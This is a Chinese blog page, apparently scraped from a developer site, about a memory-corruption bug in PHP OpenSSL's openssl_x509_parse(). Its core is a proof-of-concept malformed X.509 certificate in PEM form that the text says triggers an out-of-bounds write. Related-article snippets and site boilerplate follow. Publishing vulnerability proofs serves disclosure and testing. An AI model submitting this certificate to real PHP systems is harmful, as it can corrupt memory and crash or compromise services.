php 漏洞 _parse,PHP OpenSSL Extension 'openssl_x509_parse()'内存破坏漏洞

最新推荐文章于 2024-09-12 08:07:07 发布
最新推荐文章于 2024-09-12 08:07:07 发布
阅读量345 收藏
点赞数
文章标签： php 漏洞 _parse

Proof of Concept:

The following x509 certificate demonstrates the out of bounds write:

-----BEGIN CERTIFICATE-----

MIIEpDCCA4ygAwIBAgIJAJzu8r6u6eBcMA0GCSqGSIb3DQEBBQUAMIHDMQswCQYD

VQQGEwJERTEcMBoGA1UECAwTTm9yZHJoZWluLVdlc3RmYWxlbjEQMA4GA1UEBwwH

S8ODwrZsbjEUMBIGA1UECgwLU2VrdGlvbkVpbnMxHzAdBgNVBAsMFk1hbGljaW91

cyBDZXJ0IFNlY3Rpb24xITAfBgNVBAMMGG1hbGljaW91cy5zZWt0aW9uZWlucy5k

ZTEqMCgGCSqGSIb3DQEJARYbc3RlZmFuLmVzc2VyQHNla3Rpb25laW5zLmRlMHUY

ZDE5NzAwMTAxMDAwMDAwWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAXDTE0MTEyODExMzkzNVowgcMxCzAJBgNVBAYTAkRFMRwwGgYDVQQIDBNO

b3JkcmhlaW4tV2VzdGZhbGVuMRAwDgYDVQQHDAdLw4PCtmxuMRQwEgYDVQQKDAtT

ZWt0aW9uRWluczEfMB0GA1UECwwWTWFsaWNpb3VzIENlcnQgU2VjdGlvbjEhMB8G

A1UEAwwYbWFsaWNpb3VzLnNla3Rpb25laW5zLmRlMSowKAYJKoZIhvcNAQkBFhtz

dGVmYW4uZXNzZXJAc2VrdGlvbmVpbnMuZGUwggEiMA0GCSqGSIb3DQEBAQUAA4IB

DwAwggEKAoIBAQDDAf3hl7JY0XcFniyEJpSSDqn0OqBr6QP65usJPRt/8PaDoqBu

wEYT/Na+6fsgPjC0uK9DZgWg2tHWWoanSblAMoz5PH6Z+S4SHRZ7e2dDIjPjdhjh

0mLg2UMO5yp0V797Ggs9lNt6JRfH81MN2obXWs4NtztLMuD6egqpr8dDbr34aOs8

pkdui5UawTZksy5pLPHq5cMhFGm06v65CLo0V2Pd9+KAokPrPcN5KLKebz7mLpk6

SMeEXOKP4idEqxyQ7O7fBuHMedsQhu+prY3si3BUyKfQtP5CZnX2bp0wKHxX12DX

1nfFIt9DbGvHTcyOuN+nZLPBm3vWxntyIIvVAgMBAAGjQjBAMAkGA1UdEwQCMAAw

EQYJYIZIAYb4QgEBBAQDAgeAMAsGA1UdDwQEAwIFoDATBgNVHSUEDDAKBggrBgEF

BQcDAjANBgkqhkiG9w0BAQUFAAOCAQEAG0fZYYCTbdj1XYc+1SnoaPR+vI8C8CaD

8+0UYhdnyU4gga0BAcDrY9e94eEAu6ZqycF6FjLqXXdAboppWocr6T6GD1x33Ckl

VArzG/KxQohGD2JeqkhIMlDomxHO7ka39+Oa8i2vWLVyjU8AZvWMAruHa4EENyG7

lW2AagaFKFCr9TnXTfrdxGVEbv7KVQ6bdhg5p5SjpWH1+Mq03uR3ZXPBYdyV8319

o0lVj1KFI2DCL/liWisJRoof+1cR35Ctd0wYBcpB6TZslMcOPl76dwKwJgeJo2Qg

Zsfmc2vC1/qOlNuNq/0TzzkVGv8ETT3CgaU+UXe4XOVvkccebJn2dg==

-----END CERTIFICATE-----

无知的迷途羔羊
关注
使用Python Openssl库解析X509证书信息
猫敷雪
11-07 1380
对于常见的https证书 一般是用crt或者pem来保存， http证书可电器网页前的锁按钮得到， 并且进行导出.这里利用的是python3 的 Openssl 库进行解析， 此库的说明文档如下，通过阅读说明文档， 可以轻松读取证书相关信息。
openssl验证证书链_如何使用OpenSSL验证证书链？
cunjiu9486的博客
10-08 5761
openssl验证证书链X509 certificates provides the authenticity of provided certificates in a chained manner. Internet world generally uses certificate chains to create and use some flexibility for trust. But...
通过OpenSSL解码X509证书文件
密码开发者
06-29 1万+
通过OpenSSL解码X509证书文件，包括*.cer/*.p7b/*.pfx格式文件。
php x509,PHP OpenSSL Extension 'openssl_x509_parse()'内存破坏漏洞
weixin_32309649的博客
03-28 292
发布日期：2013-12-11更新日期：2013-12-14受影响系统：PHP PHP 5.5.xPHP PHP 5.4.xPHP PHP 5.3.x描述：--------------------------------------------------------------------------------BUGTRAQ ID: 64225CVE(CAN) ID: CVE-2013-64...
ParseX509-OpenSSL项目使用手册
最新发布
gitblog_00614的博客
09-12 243
ParseX509-OpenSSL项目使用手册 ParseX509-OpenSSL 项目地址: https://gitcode.com/gh_mirrors/pa/ParseX509-OpenSSL ...
php openssl x509,openssl_x509_parse
weixin_34072296的博客
03-18 437
[#4]nathanael at dihedral dot de [2006-08-11 06:02:26]Whendealingwiththepurposesofax509crtfiletheoutputofopenssl_x509_parsegivesanarraywithfollowingforthepurposes:eachnewarray([...
查找openssl内存泄漏（代码）
weixin_33720452的博客
04-27 259
#include <stdio.h> #include <string.h> #include <openssl/bio.h> #include <openssl/crypto.h> static BIO *bio_err = NULL; void mem_debug_start() { bio_err = BIO_...
php openssl x509,PHP: openssl_x509_parse - Manual
weixin_33121345的博客
03-18 204
When dealing with the purposes of a x509 crt filethe output of openssl_x509_parse gives an array with following for the purposes:each new array ([purposes][1], [purposes][2] for example) is a new purp...
openssl s_server & s_client 相关命令参数
hallyz的博客
05-23 1424
openssl s_server & s_client 和相关命令参数 示例： 更新动态链接库名字列表 sudo ldconfig openssl s_server -accept 443 -key server.pem -cert server.pem -debug -msg openssl s_client -connect 127.0.0.1:443 -debug -msg ln -s /usr/local/ssl3/lib/libssl.so.3 /usr/lib64/libssl.
通过OpenSSL解析X509证书基本项
热门推荐
密码开发者
07-08 6万+
通过OpenSSL库解析X509证书基本项，比如版本号、序列号、颁发者、使用者、有效期、公钥算法、证书用途等。
php获取证书序列号时openssl_x509_parse内存泄漏的替代的方案
pridas的博客
07-17 5305
openssl_x509_parse
openssl解析成X509内存结构体总是失败
12-08
把一个der编码的cer文件读出来，用base64编码后再存入数据库中去。 读出来的时候是base64编码的证书内容，想用openssl解析成X509内存结构体总是失败。 操她吗的，后来发现是每隔64个字符就要换行，否则openssl就是解析不了。 并且要有头尾：-----BEGIN CERTIFICATE-----和-----END CERTIFICATE----- 注：windows自带的证书查看器就能正常解析，并无上诉的问题。
OpenSSL命令--x509
VitalityShow(网络通讯)
11-21 1万+
本指令是一个功能很丰富的证书处理工具。可以用来显示证书的内容，转换其格式，给CSR签名等等。
C++ OpenSSL Parse X509 Certificate PEM
boise的专栏
11-26 5082
如何解析证书
openssl的x509命令简单入门
hsulei的博客
01-12 3万+
openssl的x509命令简单入门openssl是一个强大的开源工具包，它能够完成完成各种和ssl有关的操作。命令说明openssl -help 会得到如下的提示：openssl:Error: '-help' is an invalid command.Standard commands asn1parse ca ciphers c
Apache Ssl 配置整理
fatOwen的专栏
11-07 1609
 1.概述   为了加强网站安全访问策略,在现有 xxx网站 Apahce Server加入SSL功能,当访问特定目录时，需要提供SSL证书要求，以保证合法用户才能访问. 2.软件要求   JDK:1.5   Apache:2.2.9+ssl   Tomcat:5.0(Apache与tomcat组合) 3.操作步骤 3.1设置配置文件环境 CMD 启动命令行窗口 切换到Apache Bin目录 s
ASN1_item_unpack ASN1_parse 接口分别是什么作用，它们每个参数的意思分别是什么
06-02
ASN1_item_unpack 和 ASN1_parse 都是 OpenSSL 中用于解析 ASN.1 格式数据的函数。 ASN1_item_unpack 的作用是将 ASN.1 数据解码成一个数据结构，其中包含了解码后的数据以及数据类型信息。它的函数原型如下： ```...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值